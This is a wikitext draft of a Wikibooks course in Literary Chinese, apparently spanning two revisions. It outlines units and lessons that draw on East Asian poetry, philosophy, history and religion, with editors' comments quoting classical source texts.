Recognise the switch between 吾/我 in the subject-object positions and demonstrate it in usage. * (Chinese speakers) Be able to differentiate 于 and 於, and understand the "interest(ed) in" meaning of 好 in most circumstances. <!--- Summary of the above part about 于 and 於 for other editors: 于 and 於 were distinct words for an extremely long time and were still such to Literary Chinese writers. Their "merging" through Simplified-Traditional Chinese distinctions is a very modern thing. I will summarise their usages here, using Pulleyblank's Outline of Classical Chinese Grammar (2000); * 于 - This can mean "to go" or "to/at". 黃鳥于飛 "The yellow birds go flying". Must be post-verbal. It can also appear in 至于. * 於 - This is an all-purpose locative preposition - from "on/at/in" to "from" or even "than" (甲於乙). The implication of motion is not there at all. Must be pre-verbal. It can also appear in 之於 or be an archaic noun for a crow 於 (烏). ---> Lessons: # [[/Across the Rivers with Emperor Puliuru Guang/]] <!--- Illustrate ping-ze ---> # [[/To Study the Odes/]] # [[/A Detour into Orthodox Ping-Ze/]] <!--- 平 and 仄 are useful characters themselves. Show 仄 in the binomes 反仄，歉仄，逼仄 as it's often difficult to immediately use ---> # [[/The Restraint of Du Fu/]] # [[/The Longing of Li Bai/]] # [[/The Environment with Bukha Timur/]] # [[/Pillow Talk with Guan Yunshi/]] <!--- 紅繡鞋·貫雲石 挨著靠著雲窗同坐，偎著抱著月枕雙歌，聽著數著愁著怕著早四更過。四更過情未足，情未足夜如梭。天哪，更閏一更兒妨甚么！ Uyghur author! ---> # [[/Buddhist Philosophy with Ngô Chân Lưu and Taisei Shōan/]] <!-- 元火·吳真流 木中元有火，元火復還生。 若為木無火，鉆燧何有萌。--> <!-- 杜鵑·大成聖安 夢覚孤床静 杜鵑帯雨飛 一声来近枕 何者不沾衣 --> # [[/Odes with Mō Taiei and Zheng Chengxun/]] <!-- 詠松·毛泰永 植體宜千仞，垂陰動百尋。 李膺真烈烈，和嶠自森森。 桃李何堪較，雪霜安得侵。 萬年身不老，種子又成林。 AKA Inoha Seiki 伊野波 盛紀 --> <!-- 詠班蘭·鄭成勛 南國多芳草，班蘭最有名。 深根將綠茁，長葉亦叢生。 取味迎賓合，入厨任水烹。 可憐經一用，擲棄不留情。 鄭成勛《樵隱詩集》 https://nus.edu.sg/nuslibraries/dsprojects/sg-jiutishi/poem/827 --> # [[/A Golden Cup and the Fall of a Dynasty with Yan Fu/]] # [[/On a Journey with Sadula/]] <!--- No lesson entry: 朝中措·襄陽古道灞陵橋 襄陽古道灞陵橋，詩興與秋高。 千古風流人物，一時多少雄豪。 霜清玉塞，雲飛隴首，風落江皋。 夢到鳳凰台上，山圍故國周遭。 北郊晚步 陂水荷凋晚，茅檐燕去涼。 遠林明落景，平麓淡秋光。 群牧歸村巷，孤禽立野航。 自諳閑散樂，園圃意尤長。 Jurchen poet and grandson of Emperor Shizong of Jin. He's a Zen Buddhist, so we'll go back to him later. ---> ===Unit 3: Confucianism and the World=== This is a Confucian-themed unit with a smattering of other items. You will see the odd geography of the past, early linguistic philosophy, and terrifying breakaway states! By the end of this unit, students should be able to: * Recognise around 200+ characters. * Read basic annals and histories with some dictionary assistance, and comprehend 3-character structures reliably. * Have encountered basic grammatical points such as 之、乎、者、也、而、則、乃、所、以、於、于、與、且、蓋、and 夫. ** 於 and 于 should be distinguishable. * Survive a text of at least 250 characters and read for gist. Lessons: # [[/A Brief Overview of Confucianism/]] # [[/Teaching the Annals in Qi/]] <!-- Gongyang Gao's commentary --> # [[/Is a White Horse a Horse?/]]<!-- Teach negation with 非 in 公孙龍子 and compare with 不 --> # [[/The Three Character Classic/]] # [[/Expressing Filial Conduct with Confucius and Hara Saihin/]] <!-- 次韻杏坪先生 父執有君孤不孤 相依遍接搢紳徒 区区自抱地方寸 杳杳重遊天一隅 羇雁飛鳴迷汝國 家人思夢入江都 如教志業青年遂 世上寧無逐臭夫 --> # [[/Confucianism and the Environment with Sai On/]]<!-- 木假山記 --> # [[/In Debate with Mencius/]] ===Unit 4: Women's Writing=== In this unit, women's writing from various areas of China will be explored. This is chiefly targeted at poetry and the themes within; from the feminine voice of the Classic of Poetry to the remonstrance towards the Khitan Emperor Tianzuo of Jin by his Consort Dasese. The role of women in courtly society is to be elucidated here! # [[/An Unmarried Life with Heo Nansŏrhŏn/]] <!--- 貧女吟 豈是乏容色。工鍼復工織。 少小長寒門。良媒不相識。 夜久織未休。戛戛鳴寒機。 機中一匹練。終作阿誰衣。 手把金翦刀。夜寒十指直。 爲人作嫁衣。年年還獨宿。 ---> # [[/Responding to Lord Trần with Hồ Xuân Hương/]] <!--- Responding to 陳光靜 Trần Quang Tĩnh 《和陳侯》 愧無才調使人驚，十載風塵貫耳鈴。 已是臨枰知敵手，莫須敲月苦殫精。 為輪為彈隨遭遇，誰鳳誰鶯任賦生。 造物於人何苟惜，明珠休向暗中呈。 莫須 is an important structure to teach here. ---> # [[/Gaze into the Autumn Night with Taisei Shōan/]] <!--- 秋夜偶成·大成聖安 長天浮爽気，月色興無窮 群犬吠山径，百蟲啼野風 悲秋秋夜永，感古古今同 自是孤窓下，凄然万慮空 ---> # [[/Visiting a Temple with Yu Xuanji/]] <!--- 遊崇真觀南樓覩新及第題名處 雲峰滿目放春晴，歷歷銀鈎指下生。 自恨羅衣掩詩句，擧頭空羨榜中名。 ---> # [[/Remonstrance with Dasese/]] <!--- https://zh.wikisource.org/wiki/%E8%AB%B7%E8%AB%AB%E6%AD%8C 諷諫歌·大瑟瑟 勿嗟塞上兮暗紅塵。 勿傷多難兮畏夷人。 不如塞奸邪之路兮選取賢臣。 直須臥薪嚐膽兮激壯士之捐身。 可以朝清漠北兮夕枕燕雲。 Dasese (or 萧瑟瑟) was a Khitan consort to Emperor Tianzuo of Liao. She remonstrated him as the Jurchens were beginning to encroach upon the Khitan, and was forced to commit suicide for her remonstrance. Tianzuo would soon pay for his malfeasance. ---> # [[/The Love Songs of the Odes/]] <!--- 褰裳 子惠思我，褰裳涉溱。子不我思，豈無他人？狂童之狂也且！ 子惠思我，褰裳涉洧。子不我思，豈無他士？狂童之狂也且！ 柏舟 彼柏舟，在彼中河，髧彼兩髦，實維我儀，之死矢靡它，母也天只，不諒人只。 汎彼柏舟，在彼河側，髧彼兩髦，實維我特，之死矢靡慝，母也天只，不諒人只。 行露 厭浥行露，豈不夙夜，謂行多露。 誰謂雀無角？何以穿我屋？誰謂女無家？何以速我獄？雖速我獄，室家不足。 誰謂鼠無牙？何以穿我墉？誰謂女無家？何以速我訟？雖速我訟，亦不女從。 ---> # [[/Rules for Women with Ban Zhao/]] <!--- https://zh.wikisource.org/wiki/%E5%A5%B3%E8%AA%A1 ---> # [[/The Tragedy of Cai Wenji/]] <!--- 悲憤詩 〔兩漢〕蔡文姬 漢季失權柄，董卓亂天常。 志欲圖篡弒，先害諸賢良。 逼迫遷舊邦，擁主以自強。 海內興義師，欲共討不祥。 卓眾來東下，金甲耀日光。 平土人脆弱，來兵皆胡羌。 獵野圍城邑，所向悉破亡。 斬截無孑遺，屍骸相撐拒。 馬邊懸男頭，馬後載婦女。 長驅西入關，迥路險且阻。 還顧邈冥冥，肝脾為爛腐。 所略有萬計，不得令屯聚。 或有骨肉俱，欲言不敢語。 失意幾微間，輒言斃降虜。 要當以亭刃，我曹不活汝。 豈復惜性命，不堪其詈罵。 或便加棰杖，毒痛參並下。 旦則號泣行，夜則悲吟坐。 欲死不能得，欲生無一可。 彼蒼者何辜，乃遭此厄禍。 邊荒與華異，人俗少義理。 處所多霜雪，胡風春夏起。 翩翩吹我衣，肅肅入我耳。 感時念父母，哀嘆無窮已。 有客從外來，聞之常歡喜。 迎問其消息，輒復非鄉里。 邂逅徼時願，骨肉來迎己。 己得自解免，當復棄兒子。 天屬綴人心，念別無會期。 存亡永乖隔，不忍與之辭。 兒前抱我頸，問母欲何之。 人言母當去，豈復有還時。 阿母常仁惻，今何更不慈。 我尚未成人，奈何不顧思。 見此崩五內，恍惚生狂痴。 號泣手撫摩，當發復回疑。 兼有同時輩，相送告離別。 慕我獨得歸，哀叫聲摧裂。 馬為立踟躕，車為不轉轍。 觀者皆噓唏，行路亦嗚咽。 去去割情戀，遄征日遐邁。 悠悠三千里，何時復交會。 念我出腹子，匈臆為摧敗。 既至家人盡，又復無中外。 城廓為山林，庭宇生荊艾。 白骨不知誰，縱橫莫覆蓋。 出門無人聲，豺狼號且吠。 煢煢對孤景，怛吒糜肝肺。 登高遠眺望，魂神忽飛逝。 奄若壽命盡，旁人相寬大。 為復強視息，雖生何聊賴。 託命於新人，竭心自勖勵。 流離成鄙賤，常恐復捐廢。 人生幾何時，懷憂終年歲。 ---> ===Unit 5: Myths and Legends of East Asia=== <!--- Shanhaijing, Zibuyu... Etc. Zhiguai literature. This aims to provide a counterpoint to what Confucius wouldn't discuss - thus Zibuyu. Going straight into Daoism isn't ideal. ---> # [[/Exploring the World of Mountains and Seas/]]<!-- Structure: 出焉 --> # [[/Oh, the Qilin!/]] <!--- Even here, the odes can be studied! ---> # [[/The Poison of Zhen/]] <!--- referenced a lot in histories ---> # [[/Ultimate Justice with Xiezhi/]] <!--- the yellow emperor met one, gao yao also used one ---> # [[/The Virtue of the Fenghuang/]] <!--- shanhaijing has a great line on this ---> # [[/The Entrapment of Hua Po/]] # [[/Nüwa Created the World/]] ===Unit 6: Food from Across the Ages=== # [[/A Simple, Rich Fry/]] <!--- 《禮記 內則》淳熬：煎醢，加于陸稻上，沃之以膏曰淳熬。淳毋煎醢，加于黍食上，沃之以膏曰淳毋。---> # [[/Song Cuisine with Chen Dasou and Lin Hong/]] <!--- 陳達叟 本心齋疏食譜 https://zh.wikisource.org/zh-hant/%E6%9C%AC%E5%BF%83%E6%96%8B%E7%96%8F%E9%A3%9F%E8%B0%B1 ---> <!--- 山家清供 https://zh.wikisource.org/wiki/%E5%B1%B1%E5%AE%B6%E6%B8%85%E4%BE%9B ---> # [[/Yuan Cuisine with Ni Zan/]] <!--- https://ctext.org/wiki.pl?chapter=318337&if=en 《雲林堂飲食制度集》倪瓚 one of the Four Masters, also a painter ---> # [[/A Feast with Yuan Mei/]] <!--- 袁枚 隨園食單 https://ctext.org/wiki.pl?if=gb&res=344157 ---> # [[/Remembering the Food of Joseon with Hŏ Kyun/]] <!--- https://rmda.kulib.kyoto-u.ac.jp/item/rb00023424?page=3p 許筠 屠門大嚼 ---> ===Unit 7: Nation Focus - Japan=== # [[/An Introduction to Kanbun Kundoku/]] # [[/The Inariyama Sword/]] <!--- short and sweet! ---> # [[/Entering Japan with Takeda Shingen/]] # [[/The Oldest Inscription in Japan/]] <!--- 宇治橋断碑 ---> # [[/The End of a Rebellion/]] # [[/The Diary of Fujiwara no Teika/]] <!--- 明月記 ---> # [[/Reading the History of Japan with Prince Toneri/]] <!--- 日本書記, etc. ---> # [[/A Biographical Painting of Toyotomi Hideyoshi/]] <!--- This is on Fanya Hanwen Corpus ---> <!--- # [[/Occupying Taiwan/]] ---> <!--- I have some colonial literature on me that can be used here. ---> ===Unit 8: Shinto, the Nature Religion=== # [[/Shinto, Questions and Answers/]] <!--- https://wikisource.org/wiki/%E7%9C%9E%E9%81%93%E5%95%8F%E5%B0%8D 眞道問對 本田親徳 really good way of operationalising 乎 and much of the early grammar. 問 天帝無始無終乎。 對 天帝無始無終也。 旣以無始無終之力 與無始無終之體 造無始無終之萬物。 其功亦無始無終也。 問 天地大原在道乎。 對 天地大原實在道。 鬼神依道而立。 人民依道而活。 萬物依道而息。 This is great! ---> # [[/The Way of Shinto with Honda Chikaatsu/]] <!--- https://wikisource.org/wiki/%E9%81%93%E4%B9%8B%E5%A4%A7%E5%8E%9F 本田親徳 道之大原 ---> <!--- 滄海窓問答 鎮魂帰神の極意 新論 by 会沢正志斎 https://dl.ndl.go.jp/pid/2610897 大和神学 神道大意 三社託宣 神道五部書 古語拾遺 日本書紀 ---> ===Unit 9: Nation Focus - Korea=== # [[/Feigned Surrender with Ŭlchi Mundŏk/]] <!--- 乙支文德漢詩 ---> # [[/A fu with Yi Kyubo/]] # [[/An Elegy to the Empress with Choe Ja/]] <!--- Choe Ja 元德大后輓詞·崔滋（최자） 乾極曾客配,坤儀正體元。 枕前朝聖主,帳底見曾孫。 陰慘俄沉月,屋悲便沒軒。 三韓千古淚,七十九年恩。 ---> # [[/Language Reform with Sejong the Great/]] <!--- 訓民正音 https://github.com/ShiraTheMogul/fanyahanwen-corpus/commit/1ef2b42cc50055affaa5ef39c61b87ed31c34a60 multiple poems and descriptive terms, possibly the best capstone ---> # [[/Fall Off Your Horse!/]] <!--- a famous record from 朝鮮王朝實錄 ---> # [[/The Diary of Yi Sun-Sin/]] <!--- 亂中日記 ---> # [[/Tales from Mount Kumo/]] <!--- 金鰲新話 ---> # [[/Pak Chiwŏn Tours the Qing/]] <!--- 熱河日記 ---> # [[/Korea's Three Kingdoms/]] <!--- 三國史記 for sure! ---> # [[/Hwang Yun-seok's Essays/]] <!--- https://zh.wikisource.org/wiki/%E9%A0%A4%E9%BD%8B%E9%81%BA%E7%A8%BF 頤齋遺稿 黃胤錫 Joseon scholar! ---> ===Unit 10: Christian Literature=== # [[/A Different Three Character Classic with Hong Xiuquan/]] # [[/Friar Juan Cobo's Veritable Record/]] <!--- One of few texts from the Philippines that I have ever found! https://bnedigital.bne.es/bd/en/viewer?id=0160187c-9d9b-4f34-84d6-bc03fd310c69 ---> # [[/The Delegate's Edition/]] # [[/Nestorian Steles during the Tang/]] <!--- 大秦景教宣元至本經經幢 and 景教碑 ---> # [[/Hong Xiuquan's Bible/]] <!--- https://bible.fhl.net/ob/nob.html?book=407 ---> <!--- I don't want to focus too much on Hong Xiuquan here, so look for more material, especially from missionaries. ---> ===Unit 11: An Introduction to Daoism=== <!--- And now back to your regularly scheduled Zhuangzi/Laozi/Liezi. But with more interesting stuff. Trust! ---> # [[/Laozi Explains the Dao/]] # [[/Qingtan with Xie Daoyun/]] # [[/The Doubting Neighbour/]] # [[/Kuafu Chases the Sun/]] # [[/The Frog in a Well/]] # [[/Wu wei with King Hui of Liang/]] # [[/The Old Man that Moves the Mountains/]] # [[/Master Zhuang Dreams of Butterflies/]] # [[/Master Incapable and the Poisonous Bird/]] # [[/Transmitting the Dao with Yelü Chucai/]] <!---耶律楚材 - Served 窝阔台, 玄風慶會錄 is short and respectable enough to work with. https://zh.wikisource.org/wiki/%E7%8E%84%E9%A2%A8%E6%85%B6%E6%9C%83%E9%8C%84 ---> # [[/The Indifferent Taoist/]] <!--- northern song https://zh.wikisource.org/wiki/%E7%8E%89%E6%AD%B7%E5%AF%B6%E9%88%94 ---> <!--- Currently very stereotypical, but there's stuff to work with at least. Need to include those weird Daoist characters among other things. ---> ===Unit 12: Nation Focus - Ryukyu Kingdom=== # [[/Historical Annals with Sai On/]] <!--- Kyuko is an easy cop ---> # [[/The Enthronement of Shō Tei/]] # [[/The Twilight of Ryukyu with Shō Ten/]] # [[/A Trip to Ryukyu with Luo Sen/]] <!--- Pre-Capstone ---> <!--- 遐邇貫珍 1854-11 - 日本日記 羅森 https://archive.org/details/HEKC185411/page/n5/mode/1up A solid description of Ryukyu cultural customs in Volume 11. Absolutely incredible. 日三日火船直向東北而駛出了臺灣之外幾日不見天涯是時北風大作波浪沖天火船亦甚飄蕩而不能立見有沙鷗隨風而逐浪心直駛七日漸見小山而到琉球琉球一國長闊一百七十五里其國城在地球圖緯線赤道之北二十六度十四分經線中華北京偏東十一度二十四分自明以來世封王爵叨列藩籬其處土產不過蔬菜番薯菜油黑糖等類人民束髻大補是穿草履男女粧飾頭上祇插一簪二簪為別故少年之男女瞥目則無異及其壯也皆留鬚髯故街上長鬚之人甚多甲寅正月初一予上岸遊玩見街上兒童甚多分以銅錢各極歡喜人民亦甚謙恭民居間亦貼新春聯于門外但不見有別等繁華之事那霸有寺寺內有園是名家世宦之墳所以石刊刻姓名年號于碑上每日道人打掃供奉生花樹葉于墓前另有人家祖墳與中國之明塚無異峰巒之上樹木多植民房則以蠻石圍墻內以茅草結屋而居佳物椅棹俱無惟以草蓆屈膝而坐對火盆而吹煙民間亦有識中國言語字墨者 不張舖店惟有墟塲男不貿易婦女為之以貨易貨而外方之金銀弗尚焉然而百姓亦甚畏官長飲食亦甚粗粕甘守樸儉不務奢華亦鮮欺詐板門紙窓夜間亦不防竊曾見途中撿物亦能以返原人公門之內冷冷落落並無案牘之煩淳樸之風畧有同于上古之世我等外國之欲買什物須言于官官為代辦正月初六提督被理衛廉士等一班將官布列威嚴與予乘轎至王宮總理大臣尚宏勳為主席布政大夫馬良才為知客享宴甚豐食物多與中國無異宴後各官皆饋有紙扇烟包布帛等項是物雖粗此亦世子之恭敬外國故亞國亦以禮物而返贈之世子王宮離岸三里在于山頂是名守禮將至其宮一路亦有樹木石牌坊宮室亦甚寬大幽雅垣局可觀其處多栽鳳尾草森樹等類以障陰山邊田土樹藝五穀近海沙田水漲之後人收其沙以煎鹽此時明月當圓予覽山川亦足見一方之風景 ---> <!--- 中山世鑑 and so on. Lots of poetry too. ---> ===Unit 13: Nation Focus - Singapore=== <!--- National Library of Singapore has a poetry series that's super good! ---> # [[/Three Nights in Penang with Gao Chao/]] ===Unit 14: Literary Chinese in Medicine=== <!--- do not endorse the medical practices discussed in these...make sure to link back to the heavenly stems here as they are associated with specific body parts. ---> # [[/The Books of the Yellow Emperor/]] <!-- 黃帝内徑 ---> # [[/Deviant Qi with Zhang Congzheng/]] <!--- https://zh.wikisource.org/wiki/%E5%84%92%E9%96%80%E4%BA%8B%E8%A6%AA ---> # [[/Anatomy with Sugita Genpaku/]] <!--- 解体新書 ---> # [[/A Lost Wu Medical Text analysed in Japan/]] <!--- 難經古義 ---> ===Unit 15: People Focus - Zhuang peoples=== <!--- https://mooc1.chaoxing.com/mooc-ans/ztnodedetailcontroller/visitnodedetail?courseId=84745403&knowledgeId=84745463&_from_=&_fromV2_=&rtag= 《峤西诗钞》 is also a really good shout. Found here: https://ctext.org/wiki.pl?if=gb&res=215640&remap=gb ---> <!--- Basically, there are Zhuang and Tangut peoples who wrote in Literary Chinese, and their inclusion here is to show that even those who made their own scripts would use this tongue. 张鸿翮 imported the character 朴 to describe a bug, for example. ---> # [[/Zhuang poetry with Li Bi/]] # [[/The Beauty of Wuyuan with Fang Ju/]] # [[/Disaster and Society with Wei Fenghua/]] # [[/Who Deserves a Biography?/]] <!--- https://wenyi.gmw.cn/2024-06/25/content_37398911.htm 一是忠实记录了汉诗创作与古壮字交融的文化现象。清代壮族诗人张鸿翮（hé）《大塘谣》（《峤西诗钞》卷二）云： 去了休。去到大塘红蓼洲。红蓼生花，不结子。绿朴生花，毬见毬。 诗中所说“绿朴”，是壮族对柚子的惯称。“柚子”，壮语发音为“bug”。根据《古壮字字典》，其对应的古壮字为“朴（㭪）”。诗人将古壮字运用到汉文诗歌创作中，刻下了明清壮汉文化交相辉映的注脚。 This sort of thing is why Zhuang and Tangut inclusion is important, as they show how flexible Literary Chinese can be. ---> ===Unit 16: People Focus - Tangut peoples=== <!--- 羅福萇 and 羅振玉 wrote studies on Western Xia / Tangut script. Look for poets and stuff. ---> ===Unit 17: Literary Chinese in the Military=== <!--- Real Sun Zi hours! 7 Military Classics are an obvious shout, but look for more stuff too. ---> # [[/Fū! Rin! Ka! Zan!/]] # [[/A Bilingual Stele of the Khitans/]] # [[/Going to war with Boyan/]] <!--- Boyan's Poem from the 元史 　　伯顏，蒙古巴林部人。至元十一年拜中書左丞相，總兵伐宋。官至開府儀同三司，薨贈太師，封淮安王，諡忠武。 　　《玉堂嘉話》：初，宋未下時，江南謠云：「江南若破，白雁來過。」當時莫喻其意。及宋亡，蓋知指丞相巴延也。 　　過梅嶺岡留題 馬首經從庾嶺回 【 庾嶺回　七修類稿（乾隆刊本）卷四十六作「嶺島歸」。】 ，王師到處悉平夷。擔頭不帶江南物，只插梅花一兩枝。 　　《七修類藳》：伯顏下江南，過金陵梅嶺岡詩云云。所以著名，亦有是善。 ---> # [[/An Edict from the Xianbei/]] # [[/The Suppression of the Kingdom of Dongning/]] <!--- 台灣鄭氏始末 https://ctext.org/wiki.pl?if=en&chapter=139938 Largely a record of wars in Dongning rather than anything about the trade etc, so it fits here. ---> # [[/The Shunzhi Emperor vs Li Zicheng/]] # [[/The Art of War/]] ===Unit 18: Nation Focus - Vietnam=== # [[/Đỗ Pháp Thuận and the Southern Skies/]] # [[/Ancestor Veneration with the Descendants of Zhu Xi/]] <!--- https://github.com/ShiraTheMogul/fanyahanwen-corpus/tree/main/corpus%2F%E8%B6%8A%E5%8D%97%E6%BC%A2%E6%96%87%2Fclean somewhere in here ---> # [[/Resolving a Succession Crisis with Emperor Trần Minh Tông/]] <!-- 南翁夢錄·黎澄 --> # [[/Spreading Revolutionary Consciousness with Phan Bội Châu and Liang Qichao/]] <!--- 越南亡國史 Possibly the most important text in Vietnamese history, not even gonna lie. https://zh.wikisource.org/wiki/%E8%B6%8A%E5%8D%97%E4%BA%A1%E5%9C%8B%E5%8F%B2 ---> # [[/Academia in Literary Chinese between East and West/]] <!--- 南風雜誌 is a massive shout here. Absolutely amazing series. ---> ===Unit 19: Historical Annals and Encyclopediae=== <!--- 永樂大典 will teach how to infer from gaps in texts! 《編類》 is an incredibly interesting essay from here that can bring up the odes and Confucius's「思無邪」quote. It can prepare students for the wrath of Qing academia later. ---> # [[/An Introduction to Biographical Paintings/]] <!-- Many older paintings include biographies at the top in Literary Chinese. Students need to learn these. https://commons.wikimedia.org/wiki/File:%E6%AD%B7%E4%BB%A3%E8%81%96%E8%B3%A2%E5%8D%8A%E8%BA%AB%E5%83%8F_%E5%86%8A_%E8%AB%B8%E8%91%9B%E4%BA%AE_(Zhuge_Liang).png - Famous figure, also part of a very notable series. https://commons.wikimedia.org/wiki/File:Otomo-Sorin-2.jpg - Contains the Japanese repetition character 々 https://commons.wikimedia.org/wiki/File:Toyotomi_hideyoshi4.jpg - simply has aura --> # [[/The History of Liao, Jin, and Song with Toqto'a/]] <!--- 脱脱 ---> # [[/Two Years in the Forbidden City with Yu Deling/]] <!--- 清宮禁二年記 https://zh.wikisource.org/wiki/%E6%B8%85%E5%AE%AE%E7%A6%81%E4%BA%8C%E5%B9%B4%E8%A8%98 ---> # [[/Selected Records of the History of the Da Shun/]] <!--- Fair Use of a 2010 book written in Literary Chinese about the Da Shun dynasty. Limit to 500 characters, if that. Use to encourage recognition of Simplified variants and modern Wenyanwen. ---> # [[/Documenting the World with Terajima/]] <!--- 和漢三才図会 寺島良安, built off 三才圖會 ---> ===Unit 20: Buddhist Literature=== <!--- You would be forgiven for wondering why this is so late, but if you look at many classical Buddhist texts you'll quickly see a ton of loanwords that make it significantly more difficult to read than the average text. Thus, it goes here for now. ---> <!--- Place focus on practical stuff first. Stuff you can and WILL see in Buddhist temples. Stuff Buddhists can take away immediately. Skills-based approach feels strongest here. ---> <!--- Look at Northern Liang and Later Qin literature, as there is a ton of work by translators from India during the 16 kingdoms period, particularly those two. ---> <!--- Stuff by Bodhidharma 達摩 could be fun too https://zh.wikisource.org/wiki/Author:%E9%81%94%E6%91%A9 ---> # [[/Dipping your feet in with Wenyan Shu/]] <!--- 華亭 世尊遺法本忘言，教外別傳意已圓。 只履攜將蔥嶺去，不妨來上月明船。 ---> # [[/Buddhism in Battle Standards/]] # [[/The Seven Tathagatas/]] <!--- 南無寶勝如來 南無多寶如來 南無妙色身如來 南無廣博身如來 南無離怖畏如來 南無甘露王如來 南無阿彌陀佛 Use to introduce some core vocabulary in repetitive manner. Useful phrases from my trip to Jing'an Temple 南無本師釋迦牟尼佛 - Pay homage to the root teacher 南無大悲觀世音菩薩 - Pay homage to the goddess of mercy 廣種福田 - widely plant a meritorious field ---> # [[/Two Buddhist Temples in Shanghai/]] <!--- 留雲禪寺 雲留雲翔領畧幾許禪機此地有雲散天開真如界。 塔內塔外普示無邊圓覺是故曰塔影雙照解脫門。 歲次壬午冬月吉旦。 覺醒敬撰。 楊胡生沐手恭書。 善信印利明敬獻。 ---> <!--- 福慧宝鼎 慧明大和尚 - introduce the Buddhist timekeeping system with 佛歷 around this point. 赤烏古剎 建寺一千七百六十周年紀念 古剎三國建 滬瀆有重玄 石佛音淨現 聖跡顯重元 唐時稱永泰 宋敕名靜安 聖祖留佛闡 仲師移伽藍 元收八景偈 明鑄鐘聲梵 清樹化羅漢 選賢十方讚 佛日普光明 福慧共修善 鼎運昌隆際 轉正法輪緣 歲次丁亥住持慧明監製 ---> # [[/Foreseeing Monkhood with Yi Xing/]] <!--- 看命一掌金 ---> # [[/A Trip to Western Xia with Zhi Guang and Hui Zhen/]] <!--- https://zh.wikisource.org/wiki/%E5%AF%86%E5%91%AA%E5%9C%93%E5%9B%A0%E5%BE%80%E7%94%9F%E9%9B%86 ---> <!--- https://zh.wikisource.org/wiki/%E5%AF%86%E5%92%92%E5%9C%93%E5%9B%A0%E5%BE%80%E7%94%9F%E9%9B%86 ---> # [[/Jizang's Three Discourses/]] <!--- https://zh.wikisource.org/wiki/%E4%B8%89%E8%AB%96%E7%8E%84%E7%BE%A9 ---> <!--- I saw these texts being quoted and thus should consider them in some capacity. 《般若波羅蜜多心經》 《金剛般若波羅蜜經》 《一切智光明仙人慈心因緣不食肉經》 《妙法蓮華經》 《大般涅槃經》 《大方等大集經》 《大毘盧舍那成佛神變加持經蓮華胎藏悲生曼荼羅廣大成就儀軌供養方便會》/ 胎藏曼荼羅 《佛說救拔焰口餓鬼陀羅尼經》 《雜阿含經》 Look at Japan's 五山文学 ---> ===Unit 21: People Focus - Manchu peoples=== # [[/Qing dynasty Poetry with Nara Singde/]] <!--- 飲水詞 納蘭性德 https://zh.wikisource.org/wiki/Author:%E7%B4%8D%E8%98%AD%E6%80%A7%E5%BE%B7 ---> # [[/Amassing Words with the Kangxi Emperor/]] # [[/Amassing Literature with the Qianlong Emperor/]] <!--- Siku Quanshu abstract https://zh.wikisource.org/wiki/%E5%9B%9B%E5%BA%AB%E5%85%A8%E6%9B%B8%E7%B8%BD%E7%9B%AE%E6%8F%90%E8%A6%81 ---> <!--- Yongzheng Emperor's Poetry https://zh.wikisource.org/wiki/Author:%E9%9B%8D%E6%AD%A3%E5%B8%9D 《和碩怡賢親王祭文》 Also include 滿洲國 stuff to show the fall of the Qing and attempts to preserve it through becoming a Japanese puppet state. It is important to show how Literary Chinese can be misused as well. 滿洲國建國宣言 is a good shout, as is 法制 to prepare students who may be interested in Taiwan legal stuff later down the road. https://zh.wikisource.org/wiki/Category:%E6%BB%BF%E6%B4%B2%E5%9C%8B ---> # [[/Paintings and Beauty with Puru Aisin-Gioro/]] <!--- Saw these in Shanghai Museum with some writing, seemed really cool. Teaches another skill. ---> ===Unit 22: Qing-RoC Literature=== <!--- many writers here, will be difficult to sift through. Include 四库全書 abstracts and stuff here. ---> # [[/Jewish Refugees in Shanghai/]] <!--- Show passports, certificates, etc, from the Jewish Refugee Museum, anonymised. ---> # [[/A Literary Chinese Abstract/]] <!--- Abstracts from siku quanshu, probably want others ---> # [[/Lament with Lu Ruoteng/]] <!--- 《疑猜》盧若騰，東寧國 盟誓變為交質子，春秋戰國風如此；末世上下相疑猜, 更質妻子防逃徙。 此法只可羈庸奴，若遇梟雄術窮矣；妻可再娶子再育, 安能長坐針氈裏。 我贈一法君記存；推心置腹人知恩；眾人畜之眾人報, 幾個國士在君門。 盧若騰撰，陳漢光編輯，《島噫詩》，臺灣文獻叢刊第二四五種（臺北:臺灣銀行經濟研究室，1968年）21頁。 ---> # [[/Common Linguistics Knowledge in the RoC/]] <!--- 音韻常識 ---> ==References used for this page== * Yang, B. (2016). 文言语法 [Literary Chinese Grammar] (1st ed). 中华书局 [Zhonghua Book Company]. ISBN: 978-7-101-11619-9 * Priestley, K. E., & Shou-jung, C. (1962). China’s Men of Letters, Yesterday and Today. Dragonfly Books. {{BookCat}} debefi2t9zci089eovoyyy5hbxm9wqr 4670714 4670703 2026-09-17T21:10:59Z Shira the Mogul 3560559 The poetry unit is expecting way too much of the reader, way more than I expected. I do not think I can expect someone to grasp this, so I'm pushing it back and putting simpler stuff earlier. 4670714 wikitext text/x-wiki __notoc__ Welcome to the Wikibook for Literary Chinese (Known as 漢文 "Han Language" in East Asia or 文言 "Literary Language" in China), aimed at individuals hoping to gain a general knowledge of it before progressing into genres they wish to be acquainted with. This is not the [[Classical Chinese]] textbook, which is aimed at Chinese Zhou-Qin era texts. This text aims to shed light on post-Zhou-Qin texts across East Asia, which mimic those texts. However, as Zhou-Qin era texts served as the main body from which individuals learned, they are employed here as and when they are considered necessary or otherwise useful. It does so through a "buffet" approach, showering you, the reader, with an ocean of texts of myriad genre. ==Table of Contents== === Front matter === * [[/Introduction/]] * [[/Appendices/]] === Useful resources === These are quick grab-bags that can be useful for vocabulary-building. * [[/Antonym List/]] <!--- 文/武，大/小，厚/薄，橫/縱...---> * [[/Collocation Groups/]] <!--- e.g. 四象，三靈…… ---> * [[/Pronoun Table/]] * [https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/嚴譯及部定詞等 Yan Fu's Qing-era translations for modern terms] <!--- Wikiversity has this (https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/嚴譯及部定詞等) and the below, I will effectively be translating a lot of it! ---> * [https://zh.wikiversity.org/wiki/Subject:華製新漢語及中文固有語/上古語考輯 Communicative Terms] <!--- this will be translated eventually, but right now it's bad to just leave this here. ---> === Useful primers === Across history, many primers have been made for teaching Literary Chinese to children. These are a few that are recommended for use alongside this work, ideally in flashcards. * [https://www.fdgwz.org.cn/Web/Show/11308 倉頡篇] - Cangjie's Chapters, the earliest one. It is extant, but incomplete. It contains several rare characters, and so if used, I would personally recommend doing so later, or out of interest. * 三字經 - The Three Character Classic, an excellent piece for Confucian education. Pair with 弟子规 for best results. ** 三字經（太平天國版）- For Christians, there is a version made by Hong Xiuquan from the Taiping Rebellion. Despite the context, it is a 